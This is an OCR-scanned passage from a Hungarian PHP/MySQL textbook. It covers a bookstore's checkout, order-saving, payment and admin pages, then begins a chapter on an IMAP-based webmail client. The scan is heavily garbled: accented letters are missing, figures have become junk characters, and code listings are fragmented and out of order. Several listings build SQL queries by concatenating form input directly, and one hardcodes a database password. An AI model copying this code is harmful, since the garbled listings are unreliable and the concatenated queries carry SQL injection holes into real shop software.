Ha ezek kzl brmelyik nullra lett lltva, akkor az unset() fggvny segtsgvel eltvoltjuk a kosrbl az adott ttelt.
Ellenkez esetben az rlapmezknek megfelelen mdostjuk a kosr tartalmr:
if($_POST[$isbn] == '0')
unset($_SESSION['kosar'] [$isbn]);
else
(! $ SESSION['tetelek']) {
$_SESSION['tetelek'] = '0';
if (!$ SESSION['vegosszeg'])
$ SESSION['vegosszeg'] = '0.00';
438
28. fejezet
A pnztrnl
Amikor a felhasznl a kosr,;rovbb a pnztrhoz" gombjra kattint, a penztar.php kdot hvja meg. A pnztr oldalt s
28
a mgtte lev oldalakar Secure Sockets Layer (SSL) kapcsolaton keresztl kellene elrni, de a pldban szerepl alkalmazs ezt
nem erlteti. (Az SSL-rl a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezerben beszltnk bvebben.)
A pnztr oldalt a 28.8 bra murarja.
'----------------
......
r-------------------
:.:.:.:.:.:.::.:.::_:_:_:_:_:j--!
-====
!iJ&i"--
':!!!!o!C=:::"l
r--------------------------
-:-:::-::::::::::"1
::.
..._________________________
. -
a..
;:::---
--=-:::"':."':"':"':":.
A\1_..,._..,...--v-...,__..,.._
...-....--
az
session start();
html_fejlec_letrehozasa("Pnztr");
false,
0);
penztar urlap_megjelenitese();
else
echo "<p>Kosara jelenleg res<lp>";
gomb_megjelenitese("kosar_megjelenitese.php",
"vasarlas-folytatasa",
"Vsrls
folytatsa");
html lablec letrehozasa();
?>
Nincsenek nagy meglepetsek a fenti kdban. Ha a kosr res, a kd figyelmezteti erre a felhasznlt; minden ms esetben
a 28.8 brn lthat rlapot jelenti meg.
Ha a vsrl az rlap aljn lv"Vsrls" gombra kattintva tovbblp, a va sarlas. php kdhoz jut. Ennek kimenert
a 28.9 brn lthatjuk.
439
28
NilU WI
... -....!
==--....,
v.......
- -:1
#:
. ____ ....,_,_.v_....,_,._...._
___... ....... -
A 28.14 pldakdban lthat va sarlas. php kdja valamivel bonyolultabb, mint a penztar. php fjl.
28.14 pldakd: vasarlas. php-A
<?php
ll
session start();
include ('konyv_kosar_fuggvenyek.php');
html fejlec_letrehozasa("Pnztr");
$ POST['varos1];
=
=
$_POST[1irsz'];
$orszag = $ POST[1orszag'];
ll ha ki van tltve
if (($_SESSION[1kosar1])
&&
($irsz)
&&
&&
($nev)
($orszag))
&&
($lakcim)
&&
($varos)
!= false
vltoztatsok engedlyezse,
kosar_megjelenitese($ SESSION['kosar1],
false,
s kpek nlkl
0);
szallitas_megjelenitese(szallitasi_koltseg_szamitasa());
ll hitelkrtyaadatok lekrse
kartya_urlap_megjelenitese($nev);
gomb_megjelenitese("kosar_megjelenitese.php",
"vasarlas-folytatasa",
"Vsrls folytatsa");
else
echo "<p>Nem sikerlt eltrolni az adatokat,
gomb_megjelenitese(1penztar.php1,
else
vissza',
krjk,
'Vissza 1 )
440
28. fejezet
krjk,
'vissza',
prblja
l>";
'Vissza');
28
html lablec letrehozasa();
?>
nev fggvnnyel beszrjuk az adatokat az adatbzisba. Ez az egyszer fggvny trolja el a vsrl adatait az adatbzisban.
Kdjt a 28.15 pldakd tartalmazza.
28.15 pldakd: A rendelesi _fuggvenyek.php knyvtr rendeles_beszurasa ()fggvnye- A vsrl rendelsnek
$szallitasi_nev
$nev;
$szallitasi eim =
$lakcim;
$szallitasi_varos = $varos;
$szallitasi_allam =
$allam;
$szallitasi_irsz = $irsz;
$szallitasi arszag = $orszag;
"SELECT
nev = '".$nev."'
$eredmeny = $kapcsolat->query($lekerdezes);
if($eredmeny->num_rows>O)
$vasarlo = $eredmeny->fetch_object();
$vasarloiD
else
$vasarlo->vasarloiD;
$lekerdezes
$kapcsolat->query($lekerdezes);
if (!$eredmeny)
return false;
28
$vasarloiD = $kapesolat->insert_id;
$datum = date("Y-m-d");
megrendelesek VALUES
'".$vasarloiD."',
'".$datum."',
"'.$_SESSION['vegosszeg'] "',
'".PARTIAL."',
'".$szallitasi_cim."',
'".$szallitasi nev."',
'".$szal litasi_varos."',
'".$szallitasi allam."',
'".$szal litasi
irsz."',
'".$szallitasi_orszag."')";
$eredmeny
if
$kapesolat->query($lekerdezes);
(! $eredmeny)
return false;
$lekerdezes
"SELECT rendelesiO
vasarloiD
'".$vasarloiD."'
AND
<
(".$_SESSION['vegosszeg']."+.001) AND
datum = '".$datum."'
rendeles_allapota
AND
'PARTIAL'
AND
nev
'".$szallitasi nev."'
AND
szallitasi eim
'".$szallitasi eim."'
AND
szallitasi
"'.$szallitasi_varos."'
AND
szallitasi_allam = '".$szallitasi_allam."'
szallitasi_varos =
AND
szallitasi_irsz
'".$szallitasi_irsz."'
AND
szallitasi_orszag = '".$szallitasi_orszag."'";
$eredmeny
$kapesolat->query($lekerdezes);
if($eredmeny->num_rows>O)
$megrendeles = $eredmeny->feteh_objeet();
$rendelesiD
else
$megrendeles->rendelesiD;
return false;
ll knyvek beszrsa
foreaeh($ SESSION['kosar']
$adatok = konyvadatok_lekerese($isbn);
$lekerdezes
$eredmeny
'".$rendelesiD."'
AND isbn
'".$isbn."'";
$kapesolat->query($lekerdezes);
'".$isbn."',
= $kapesolat->query($lekerdezes);
(! $eredmeny)
return false;
441
".$adatok['ar'].",
$mennyiseg)";
442
28. fejezet
ll tranzakci befejezse
$kapcsolat->commit();
$kapcsolat->autocommit(TRUE);
return $rendelesiD;
A rendeles beszurasa () fggvny meglehetsen hossz, merr be kell vinni az adatbzisba a vsrl, a rendels s
_
utastssal kezddnek, s a
$kapcsolat->commit();
$kapcsolat->autocommit(TRUE);
new mysqli('localhost',
'konyv_kosar',
'jelszo',
'konyv_kosar');
(! $eredmeny)
return false;
$eredmeny->autocommit(TRUE);
return
$eredmeny;
A fggvnyben szerepl kd kiss eltr a korbbi fejezetekben hasznltaktL A MySQL-hez val kapcsolds ltrehozsa utn
ki kell kapcsalni az autocomrnit mdot. Ahogy ez korbban mr szba kerlt, ez biztostja azt, hogy rninden egyes SQL utasts
automatikusan vglegess vljk. Arnikor tbb utastsbl ll tranzakcit kvnunk hasznlni, kikapcsoljuk az autocommit m
dot, vgrehajtjuk az adatbeillesztsek sort, vglegestjk az adatokat, majd visszakapcsoljuk az autocommit mdot.
Ezt kveten az albbi kdsorral kiszmoljuk a vsrl ltal megadott cm esetn fizetend szlltsi kltsget, s tudatjuk vele:
szallitas_megjelenitese(szallitasi koltseg_szamitasa());
A fizets feldolgozsa
Amikor a felhasznl a.,Vsrls" gombra kattint, a feldolgoz as. php kd segtsgvel feldolgozzuk fizetsi adatait.
A 28.10 brn egy sikeresen vgbement fizers eredmnyt lthatjuk.
443
<?php
include ('konyv_kosar_fuggvenyek.php');
session start();
html fejlec_letrehozasa('Pnztr');
$kartya tipusa
$ POST['kartya tpusa');
$kartya_szama
$_POST['kartya_szama');
$kartya_honap
$_POST['kartya_honap');
$kartya_ev
$kartya_nev
$_POST['kartya_ev');
$_POST['kartya_nev'];
if(($ SESSION['kosar'))
($kartya honap)
&&
&&
($kartya tpusa)
($kartya_ev)
ll kosr megjelentse,
&&
($kartya szama)
($kartya_nev))
&&
vltoztatsok engedlyezse,
kosar_megjelenitese($ SESSION['kosar'),
false,
&&
{
s kpek nlkl
0);
szallitas_megjelenitese(szallitasi_koltseg_szamitasa());
if(kartya feldolgozasa($_POST))
//kosr kirtse
session_destroy();
echo "<p>Ksznjk,
gomb_megjelenitese("index.php",
"vasarlas-folytatasa",
"Vsrls folytatsa");
else
echo "<p>Nem tudtuk feldolgozni bankkrtyjt. Krjk,
a krtya kibocstjval,
lpjen kapcsolatba
s prblkezzon jra!</p>";
gomb_megjelenitese("vasarlas.php",
"vissza",
"Vissza");
else
echo "<p>Nem tlttte ki az sszes mez6t,
gomb_megjelenitese("vasarlas.php",
krjk,
"vissza",
"Vissza");
stannk a fizetse, akkor elszr ellenriznnk kellene a krtya lejrati dtumt, illetve a megadott krtyaszm formcumt,
ezt kveten pedig tnylegesen fel kellene dolgoznunk a fizetst. Mkd weboldal fejlesztse esecn el kell dntennk, milyen
elszmolsi mechanizmust kvnunk hasznlni. A kvetkez lehetsgek kzl vlaszthacunk:
Tranzakcik elszmolsval foglalkoz szolgltatval szerzdnk. Itt szmos alternatva kzl vlaszthacunk attl fg
gen, hogy hol mkdik a vllalkozsunk. Egyes szolglcatk vals idej elszmolst knlnak, msok nem. A vals idej
elszmols szksgessge attl fgg, hogy mit szerecnnk online rtkesteni. Ha online szolgltatsokac knlunk, akkor
minden bizonnyal ignyt fogunk r tartani; ha csak termkeket szlltunk ki, akkor a vals idej elszmols kevsb fon
tos szmunkra. A szolgltack mindkt esetben megkmlnek a hitelkrtyaadatok trolsnak felelssgtl.
28
444
28. fejezet
Titkostott e-mailben elkldjk magunknak a vsrlk hitelkrtyjnak adatait. A titkosrst a 18. fejezetben megismert
Pretty Good Privacy (PGP) vagy Gnu Privacy Guard (GPG) mdszerrel valsthatjuk meg. Ha megkaptuk s visszafej
28
A webruhz pnztrbl a fizetsi gomb hatsra tirnytjuk a felhasznlt a webruhz zemeltetjvel szer
zdte bank egy specilis oldalra (pl.: ha a SuperBankkal krnk szerzdst, akkor a https://onlinechecking.
superbank.hu oldalra kldjk a vsrlt), legtbbszr cmsorban tadva a vsrls paramtereit (vsrolt termkek,
sszegek, vgsszeg stb.).
2.
3.
Ezen a felleten megjelenik a webruhzunk ltal radott fizetnival sszege (esetleg ttelesen a majdani szmla
minden sora), illetve a "Fizets" gomb.
4.
5.
Itt mr nincs ms dolgunk, mint a visszarkez vsrl fizetsrl szl tranzakcis kddal a httrben lekrdez
nnk a SuperBankot a tranzakci sikeressgrL
6.
445
28
55:..
if (($_POST['felhasznaloi_nev'])
&&
($_POST['jlsz']))
$_POST['felhasznaloi_nev'];
$_POST['jlsz'];
if (bejelentkezes($felhasznaloi_nev,
$jlsz))
$felhasznaloi nev;
else
ll sikertelen bejelentkezs
html_fejlec_letrehozasa("Hiba:");
echo "<p>Nem sikerlt belptetni.<brl>
Az oldal megtekintshez be kell jelentkezni.<lp>";
html_url_letrehozasa('bejelentkezes.php',
'Bejelentkezs');
html_lablec_letrehozasa();
exit;
html_fejlec_letrehozasa("Adminisztrci");
if (admin_felhasznalo_ellenorzese())
admin_menu_megjelenitese();
else
echo "<p>Nincs jogosultsga belpni az adminisztrcis felletre.<lp>";
html_lablec_letrehozasa();
?>
446
28. fejezet
A kd minden bizonnyal ismersnek hat, hiszen a 27. fejezet egyik kdjhoz igen hasonl. Belps utn a felhasznl meg
vltoztathatja jelszavt, vagy kijelentkezhet; az ezeket a funkcikat megvalst kd teljes egszben megegyezik a 27. fejezet
28
Knyv hOuadsa
=-;
Kol_..
r-..,--
-- - - ----- ----
'
lt:;.u.-toozz-1
28.13 bra: A rendszergazda ezzel az rlappal vihet fel j knyveket az online katalgusba.
Figyeljk meg, hogy a knyvek Kategria mezje egy HTML SELECT elem! A legrdl menbl vlaszthat lehets
gek a korbban mr megvizsglt kategoriak_lekerese () fggvny hvsbl kvetkeznek.
Amikor a felhasznl a"Knyv felvitele" gombra kattint, a konyv_beszurasa.php fjlt hvja meg. Ennek tartalmt
a 28.18 pldakd mutatja.
28.18 pldakd: konyv_beszurasa.php-A kd ellenrzi az j knyv adatait, majd beszrja azokat az adatbzisba
<?php
$eim,
$szerzo,
$kategoriaiD,
$kosar,
$leiras))
447
az adatbzishoz.</p>";
else
echo "<p>Nem tlttte ki az rlapot. Krjk,
html_url letrehozasa("admin.php",
else
echo "<p>Nincs jogosultsga megtekinteni azt az oldalt.</p>";
html lablec_letrehozasa();
?>
A 28.18 pldakdbl lthat, hogy a kd meghvja a konyv_beszurasa () fggvnyt. Ezt s az adminisztrcis kdok
ltal hasznlt tbbi fggvnyt az admin_ fuggvenyek.ph p fggvnyknyvtrban talljuk.
Az j kategrik s knyvek felvitele mellett a rendszergazdk szerkeszthetik s trlhetik is azokat. Ezeket a funkcikat
gy valstottuk meg. hogy minl tbbet fel tudjunk hasznlni a meglv kdokbl. Amikor a rendszergazda az adminiszt
rcis men.,Ugrs a nyitoldalra" hivatkozsra kattint, az index. php oldalon lv kategrialisthoz jut, s az ltalnos
felhasznlkkal egyez mdon, ugyanazokat a kdokat hasznlva naviglhat az oldalon.
Egy fontos klnbsget azonban meg kell emlteni az egyszerU s a rendszergazdai felhasznJk kztt: az urbbiaknak ms
funkcikat tesznk elrhetv. A rendszergazdkat az alapjn ismerjk fel, hogy szmukra az admin_felhasznala munka
menet-vltozt regiszttltuk. Ha megnzzk pldul a fejezet egy korbbi rszben megvizsglt konyv_megjelenitese. php
oldalt, akkor a 28.14 brn lthatktl klnbz menpontokat ltunk.
gomb_megjelenitese("konyv szerkesztese_urlap.php?isbn=".$isbn,
"tetel-szerkesztese",
"Ttel szerkesztse");
gomb_megjelenitese("admin.php",
gomb_megjelenitese($cel,
"admin-menu",
"folytatas",
"Admin men");
"Folytats");
28
448
28. fejezet
28
Az rlap els fele megegyezik azzal, amivel korbban a knyvek adatait felvittk. Abba az rlapba beptettnk egy olyan
opcit, ami a meglv knyvadatokat tadhatja az rlapnak
az
a vltoztatst hajtottuk vgre a kategrik szerkesztsre s trlsre szolgl rlapon is. A 28.19 pldakdban lthatjuk, hogy
mindez pontosan mit jelent.
28.19 pldakd: Az a dmin_fuggvenyek. php knyvtr konyv_urlap_megjeleni tese ()
fggvnye- A felvitelhez s
'')
Az rlap
$szerkesztes = is_array($konyv);
HTML
?>
<form method="post"
action="<?php echo
$szerkesztes ?
'konyv_szerkesztese.php'
'konyv_beszurasa.php';?>">
<table border="O">
<tr>
<td>ISBN:</td>
<td><input type="text" name="isbn"
value="<?php echo $szerkesztes ? $konyv ['isbn' l
'';
?>" /></td>
</tr>
<tr>
<td>Knyvcm:</td>
<td><input type="text" name="cim"
value="<?php echo
</tr>
<tr>
$szerkesztes ?
$konyv ['eim' l
?>" /></td>
449
<td>Szerz:</td>
<td><input type="text" name="szerzo"
value="<?php echo $szerkesztes ? $konyv['szerzo' l
?>" /><ltd>
</tr>
<tr>
<td>Kategria:</td>
<td><select name="kategoriaiD">
<?php
ll a szba jhet kategrik listja az adatbzisbl szrmazik
$kat tomb=kategoriak_lekerese();
foreach ($kat_tomb as $ez_a_kat)
echo "<option value=\"".$ez_a_kat['kategoriaiD'] ."\"";
ll ha meglv knyv,
if (($szerkesztes)
&&
($ez_a_kat['kategoriaiD'] == $konyv['kategoriaiD']))
echo '
' kivlasztva'';
echo ">".$ez a kat['kategoria neve'] ."</option>";
?>
</select>
<ltd>
</tr>
<tr>
<td>r:</td>
<td><input type="text" name="ar"
value="<?php echo $szerkesztes ? $konyv['ar']
</tr>
<tr>
<td>Lers:</td>
<td><textarea rows="3" cols="50" name="leiras"><?php echo $szerkesztes ?
$konyv['leiras' l
: ' ';
?></textarea></td>
</tr>
<tr>
<td <?php if
} ?> align="center">
<?php
if ($szerkesztes)
ll ha az isbn kdot mdostjuk,
ll szksgnk van a rgire,
</form></td>
<?php
if ($szerkesztes)
echo "<td>
<form method=\"post\" action=\"konyv_torlese.php\">
<input type=\"hidden\" name=\"isbn\"
value=\"".$konyv['isbn'] ."\" />
<input type=\"submit\" value=\"Knyv trlse\"/>
</form></td>";
'j Knyv
28
450
28.fezer
?>
</td>
28
</tr>
</table>
</form>
<?php
Ha az rlapnak knyvadarokat tartalmaz rmbr adunk r, szerkeszrsi mdban, az rlapmezkben a meglv adarokkal
jelenik meg:
<input type=''text''
name=''ar''
$sz erkesztes ?
$konyv ['ar'
' ';
?>" / ><
A klds gomb is kicsir msmilyen. Sr, a szerkeszrsre alkalmas rlapon egszen pontosan kr gombot lthatunk: az egyik
a knyv szerkeszrsre, a msik pedig a trlsre szolgl. Ezek a gombok a konyv
torlese. php
a konyv
A fenti kr kd kategrikat kezel vlrozarai egyeden dolog kivrelvel ugyangy mkdnek. Amikor a rendszergazda meg
prbl trlni egy karegrir, ez csak akkor sikerl, ha egyeden knyv sincsen benne. (Ezr egy lekrdezssei ellenrzi a kd.)
Ezzel megelzhetjk a rrlsi anomlik okozta esetleges problmkat. Az ilyen anomlikrl a Webes adatbzis megtervezse
cm 8. fejezerben eserr sz. Ennl a konkrt pldnl maradva: ha olyan kategrit trlnnk, amely knyveket tartalmaz,
azok a knyvek.,rvv" vlnnak. Nem tudnnk, hogy milyen kategriba tartoznak, s nem tudnnk hozzjuk naviglni.
Ezzel befejeztk az adminisztrcis fellet rrekinrst.Tovbbi rszierekn vizsglgassuk a kdor, amir reljes egszben
megtallunk a lerlrher mellklerekben!
A projekt tovbbfejlesztse
Ha vgigkverrk a projekrer, egy viszonylag egyszer kosr funkcir knl rendszerr hozharrunk lrre. Az gy kaporr alkal
mazst sokflekppen bvthetjk s rovbbfejleszrherjk:
Egy valdi online boltban mindenkppen szksg van a megrendelseket s a teljestseker nyomon kver rendszerre.
Jelenleg egyltaln nem ltjuk, hogy milyen megrendelseket kaptunk.
A vsrlk ignylik, hogy tudjanak megrendelsk llapotrl- lehetleg gy, hogy ehhez ne kelljen kapcsolatba lpni az
eladval. Fonros, hogy a vsrlk bejelentkezs nlkl is bngszhessk az oldalon rulr rermkeker. A meglv vsrlk
hirelesrse ugyanakkor lehetsger ad arra, hogy bejelentkezs urn megtekintsk korbbi rendelseiker, mi pedig ko
rbbi vsrlsi szoksaik alapjn klnbz gyflprofi.lokar dolgozharunk ki.
Jelenleg FTP-n keresztl kell feltirennk a knyvek kpeit az azokar trol mappba, illerve el kell neveznnk a kp
fjlokar. A folyamarot azzal leher egyszersteni, ha fjlfelrlr funkcival egsztjk ki a knyvek felvirelre szolgl oldalt.
Az alkalmazst- sok egyb mellerr- felhasznli bejelenrkezssel, a bejelentkezerr felhasznJk szmra szemlyre sza
borr rarralom s knyvajnJk megjelenrsvel, online rckelsekkel s a raktrkszlet nyilvnrarrsval fejleszthernnk
rovbb. A lehetsgek szma szinre korlrlan.
Hogyan tovbb:
A kvetkez fejezerben azr fogjuk megtanulni, hogyan fejlessznk olyan webes kezelfellerer, amivel az !MAP protokoll se
gtsgve! az internerrl kldhernk s fogadharunk e-maileker.
29
Webalap levelezszolgltats
ltrehozsa
Napjainkban egyre tbb oldal knl felhasznlinak webalap e-mail szolgltatst. Az elttnk ll fejezetbl kiderl, hogyan
tudunk a PHP IMAP knyvtrnak segtsgvel webes kezelfelletet fejleszteni meglv levelezkiszolglhoz. A szolgl
tats alkalmas arra, hogy weboldalon keresztl elrhet legyen meglv postafik, st, egyszer akr olyan tmeges webalap
levelezalkalmazss fejleszthetjk, mint a rengeteg felhasznlt tmogaeni kpes GMaii, Yahoo! Maii vagy Hotmail.
A projektben a Warm Mai! nev e-mail klienst fogjuk ltrehozni, amely lehetv teszi a felhasznlknak, hogy:
Kapcsoldjanak POP3 vagyIMAP levelezszerverkn lv postafikjukhoz
Olvassk leveleiket
Levelet kldjenek
Vlaszoljanak berkezett zeneteikre
Tovbbtsk berkezert zeneteiket
Trljk a postafikjukban lev zeneteiket
A megolds alkotelemei
Ahhoz, hogy a felhasznl olvasni tudja leveleit, valamilyen mdszerrel kapcsoldnia kell a levelezszerverhez. Ez jellemzen
nem ugyanaz a gp, mint a webszervernk. Meg kell tallni a mdjt, hogy kapcsolatba lpjnk a felhasznl postafikjval,
mert enlkl nem ltjuk a berkezett zeneteit, s nem tudunk az egyes levelekkel egyenknt foglalkozni.
452
29. fejezet
futtatunk, tltsk le a forrst, s fordtsuk le opercis rendszernknek! Ezt kveten hozzunk ltre egy knyvrrat az IMAP
fjloknak rendszernk include (beillesztett fjlokat tartalmaz) knyvrrn bell, s adjuk neki mondjuk az imap nevet!
elg. ha egyszeren csak bemsoljuk a fJlokat az alap include knyvtrba, mert
ez
(Nem
ltre az j knyvtrban kt alknyvtrat, aminek imap/ lib/ s imap/ incluctel legyen a neve! Msoljuk be a teleptsbl
az sszes*. h fjlt az imap/include/ knyvtrba! Ha vgrehajtjuk a fordtst, egy c-client.a jn ltre. Nevezzk t
ezt libc-client. a -ra, s msoljuk be az imap/lib/ knyvtrba!
Ekkor futtassuk a PHP konfigurl szkriptjt, amelyhez a tbbi, ltalunk hasznlt paramter mellett a --with
imap=dirname direktvt is hozza kell adnunk (a dirname helyre az ltalunk ltrehozott knyvtr nevt kell bernunk),
29
Ezt kveten indtsuk jra a webszervert! Azt, hogy az IMAP kirerjeszts teleptve van-e, a phpinfo ( ) fggvny futtats
val llapthatjuk meg. Kimenerben lmunk kell az IMAP-pel foglalkoz rszr.
Egy rdekessgre rdemes felhvnunk a figyelmet: noha IMAP fggvnyeknek nevezzk ket, egyformn jl mkdnek
a POP3-mal s a Nerwork News Transfer Protocollal (NNTP) is. Pldnkban az IMAP-hoz s a POP3-hoz fogjuk hasznlni
ket, de a Warm Maii alkalmazst egyszeren rovbbfejleszthetnnk, hogy NNTP-t hasznlva ne csak levelezkliens, hanem
hrolvas (newsreader) is legyen.
A knyvtr szmos fggvnyt tartalmaz, de az alkalmazs mkdshez csak nhnyat fogunk kzlk hasznlni. Hasz
nlatukkor bemutatjuk ezeket a fggvnyeket, de j, ha tudjuk, hogy a knyvtr szmos tovbbi fggvnyt knl. Ha ettl
a projekttl eltr ignyeink vannak, vagy tovbbi funkcikkal szecernnk gazdagtani az alkalmazst, lapozzunk bele btran
a knyvtr dokumentcijba l
Viszonylag jl hasznlhat levelezalkalmazst lehet fejleszteni mr akkor is, ha a beptett fggvnyeknek csak egy tred
kvel dolgozunk. Ez egyttal azt is jelenti, hogy a dokumentcinak csak egy rszn kell trgnunk magunkat. Ebben a fejezet
ben a kvetkez IMAP fggvnyeket fogjuk hasznlni:
imap_open ()
imap_ elose()
imap_headers()
imap_header()
imap_fetchheader()
imap_body()
imap_delete()
imap_expunge()
Ahhoz, hogy a felhasznl olvasni tudja leveleit, szksgnk van kszolgljnak s postafikjnak az adataira. Hogy ne
kelljen ezeket minden egyes alkalommal megkrdezni, felhasznli nevet s jelszr lltunk be a felhasznlknak, hogy adatb
zisban trolhassuk adataikat.
Az emberek gyakran egynl tbb postafikkal rendelkeznek (pldul egy otthonival s egy munkahelyivel), ezrt lehetv
kell tenni szmukra, hogy brmelyikhez hozzfrjenek. Ehhez az szksges, hogy az adatbzis egy felhasznlhoz tbb postafi
k adatt is el tudja trolni.
A felhasznJk szeremk elolvasni meglv leveleiket, vlaszolni rjuk, tovbbtani vagy trlni ket, illetve minden bizony
nyal kldeni is kvnnak j zeneteket. Az olvasssal kapcsolatos funkcikat az IMAP vagy a POP3 protokollal, a kldst
pedig a SMTP mail () fggvnyvel tudjuk megvalstani.
Most pedig vizsgljuk meg. hogy lehet sszerakni ezeket a rszeket!
A megolds ttekintse
Webalap rendszernk ltalnos folyamarbrja nem sokkal klnbzik ms e-mail kliensektL A 29.1 brn a rendszer m
kdst s moduljait bemutat folyamatbra lthat.
453
29
29.1 bra: A Warm Maii alkalmazs fellete postafik- s zenetszint funkcikat nyjt afe/hasznlknak.
Az brbl ltszik,hogy elszr bejelentkezsre krjk fel a felhasznlt,majd vlas::tsi lehetsget adunk nelci. j posta
fikot hozhat ltre,vagy kivlaszthatja az ppen hasznlni kivnt,mr meglv filgt. Megtekintheti bejv zeneteit - vla
szolhat rjuk,tovbbthatja s trlheti a::okat -,illetve j zenetet kldhet.
Lehetsget adunk a felhasznlknak arra,hogy egy adott ::enet fejlct teljes rszleteiben megtekintsk. A fejlcben tall
hat rszletes adatok rengeteg informcit kzlhetnek az zenetrl. Lthatjuk,hogy melyik gprl rkezett a levl - ami lci
vlan alkalmas a levlszemt (spam) lenyomozsra. Kiderl, hogy melyik gp tovbbtotta a levelet,s mikor rte el az egyes
hos::tokat - amibl megllapthat, hogy kit okolharunk a ksve rkezett levlrt. Amennyiben a kld levelezalkalmazsa
opcionlis informcikat is megad a fejlcben,akkor akr azt is megtudhatjuk,hogy milyen levelezklienst hasznl a kld.
Ez a projekt az elz ketttl kiss eltr alkalmazsarchitektrt hasznl. Ahelyett,hogy az egyes modulokat tbb kd
alkotn,a projekt egyeden hosszabb kdbl (index. php) ll, ami gy mkdik, mintha egy grafikus kezelfellet program
esemnyhurokja lenne. Az oldal brmely gombjra kattintva az index. php fjlhoz jutunk,azonban minden esetben ms
paramtert adunk t a kdnak. A paramtertl fggen eltr fggvnyeket hvunk meg. hogy megjelentsk a felhas::nl s2:
mra a kvnt tartalmat. A fggvnyeket szoks szerint fggvnyknyvtrakba helyezzk.
Az ilyen architektra kivlan alkalmas az ehhez hasonl !cis alkalmazsokhoz. Elssorban esemnyverelt alkalmazsok
ho:: megfelel,ahol a felhasznli mveletek vltjk Ici a mkdst. Egyeden esemnykezel hasznlata ugyanakkor nem alkal
mas nagyobb architektrkhoz vagy projektekhez, amelyeken egy egsz csapat fejleszt dolgozik.
A Warm Maii projektet alkot fjlokat a 29.1 tblzat sorolja fel.
29.1 tblzat: A Warm Maiilevelezalkalmazsban hasznlt fjlok
Nv
Tpus
Lers
index.php
Alkalmazs
beillesztett_fuggvenyek.php
Fggvnyek
adat_ellenor::o_fuggvenyek.php
Fggvnyek
adatbazis
Fggvnyek
levelezo_fuggvenyek.php
Fggvnyek
klmeneti fuggvenyek.php
Fggvnyek
felhasznaloi hitelesites
Fggvnyek
fuggvenyek.php
fuggvenyek.php
454
29.fezet
Nv
Tpus
Lers
adatbazis letrehozasa.sql
SQL
29
Az adatbzis ltrehozsa
A Warm Maii alkalmazs adatbzisa viszonylag egyszer, mivel igazbl egyetlen e-mailt sem trol.
Trolni kell benne viszont a rendszer felhasznlit. Minden felhasznl esetn az albbi mezket kell szerepeltetni az adatbzisban:
-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott felhasznli nv.
felhasznaloi nev
j elszo
email_eim
-A felhasznl ltal vlasztott e-mail cm, amely a rendszerbl kldtt levelek Felad mezjben megje
lenik.
felado_neve
Ezen tlmenen minden olyan postafikot el kell trolnunk, amit a felhasznlk a rendszernk segtsgvel el kvnnak rni.
Minden postafikhoz az albbi adatokat kell feljegyezni:
-A Warm Maii felhasznl, akihez a postafik tartozik.
felhasznaloi_nev
szerver
port-
-A gp, amin a postafik tallhat; pldul localhost, mail.tangledweb.com.au vagy brmilyen ms domain.
A port, amelyhez a postafik hasznlata rdekben csatlakozni kell. POP3 kiszolglk esetn ltalban a 110-es,
tavoli_je lsz o
fiok_azonosi to-
USE levelezes;
CREATE TABLE
felhasznalek
felhasznaloi_nev CHAR(l6)
jelsze CHAR(40)
email_cim CHAR(l00)
NOT NULL,
NOT NULL,
NOT NULL
NOT NULL,
NOT NULL,
NOT NULL,
NOT NULL,
NOT NULL,
fiok azonosite INT UNSIGNED NOT NULL AUTO INCREMENT PRIMARY KEY
);
GRANT SELECT,
INSERT,
UPDATE,
455
DELETE
ON levelezes.*
TO
levelezes@localhost IDENTIFIED
BY
'jelszo';
adatbaz1s_letrehozasa.sql
<
hasznlnak.
A kd architektrjnak vizsglata
Mr emltettk, hogy a Warm Maii alkalmazs egyetlen kddal szablyozza az sszes funkcit. Ezt az index. php nev fjlt
a
29.2 pldakdban lthatjuk. A kd ugyan elg hossz, de rszenknt fogunk vgigmenni rajta.
s megjeleniti a felhasznlknak
ll l. rsz: elfeldolgozs
ll Az oldal fejlcnek elkldse eltt dolgozzuk fel,
ll s dntsk el,
amit kell,
//**** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ****************************
include ('beillesztett_fuggvenyek.php');
session_start();
$_POST['felhasznaloi_nev'];
$jelszo = $_POST['jelszo'];
$muvelet = $_REQUEST['muvelet'];
$fiok = $_REQUEST['fiok'];
$uzenetiD = $_GET['uzenetiD'];
$cimzett = $ POST['cimzett'];
$masolatot_kap
$ POST['masolatot_kap'];
$targy = $ POST['targy'];
$uzenet
$ POST['uzenet'];
$gombok = array();
'
'
l l
$jelszo)
29
456
29. fejezet
if(bejelentkezes($felhasznalol nev,
$jelszo))
lOOpx\">Sikeres bejelentkezs.</p>";
S_SESSION['hitelesitett_felhasznalo'l = $felhasznaloi_nev;
if(fiokok_szama($ SESSION['hitelesitett felhasznalo'l)==l)
$fiokok =fiok lista lekerese($ SESSION['hitelesitett felhasznalo'l);
$ SESSION['kivalasztott_fiok'l
else
29
$fiokok[O l;
Sallapot
"<p style=\"padding-bottom:
if($muvelet
'kijelentkezes')
==
session destroy();
unset($muvelet);
S_SESSION=array();
'fiok-torlese':
fiok torlese($_SESSION['hitelesitett_felhasznalo'l,
$fiok);
break;
case 'beallitasok-tarolasa':
fiok_bealli tasok_tarolasa ($ SESSION['hitelesi tett felhasznalo'l ,
_
$ POST);
break;
case 'fiok-kivalasztasa':
&&
mentsk el munkamenet-vltozknt!
$fiok)))
break;
'postafiok-megtekintese';
$gombok[ll
'uj-uzenet';
$gombok[2l
'fiok-beallitasa';
'kijelentkezes';
//*****************************************************************************
ll 2. rsz:
fejlcek
ll az alkalmazs nevt,
457
$ SESSION['kivalasztott_fiok']);
else
"Warm Mail",
$_SESSION['kivalasztott_fiok']);
l 29
eszkozsor_megjelenitese($gombok);
//*****************************************************************************
ll 3.
ll
rsz:
oldal trzse
if(!hitelesitett felhasznalo_ellenorzese())
echo "<p>Be kell jelentkeznie";
if(($muvelet)
&&
($muvelet!='kijelentkezes'))
"
echo ".</p>";
bejelentkezesi_urlap_megjelenitese($muvelet);
else
switch ($muvelet)
ll j fik ltrehozsa,
case 'fiok-beallitasa':
case 'fiok-torlese':
fiok_beallitas_megjelenitese($ SESSION['hitelesitett felhasznalo']);
break;
case 'uzenet-kuldese':
if(uzenet kuldese($cimzett,
$masolatot kap,
$targy,
$uzenet))
lOOpx\">zenet elkldve.</p>";
else
echo "<p style=\"padding-bottom:
break;
case 'torles':
uzenet torlese($ SESSION['hitelesitett_felhasznalo'],
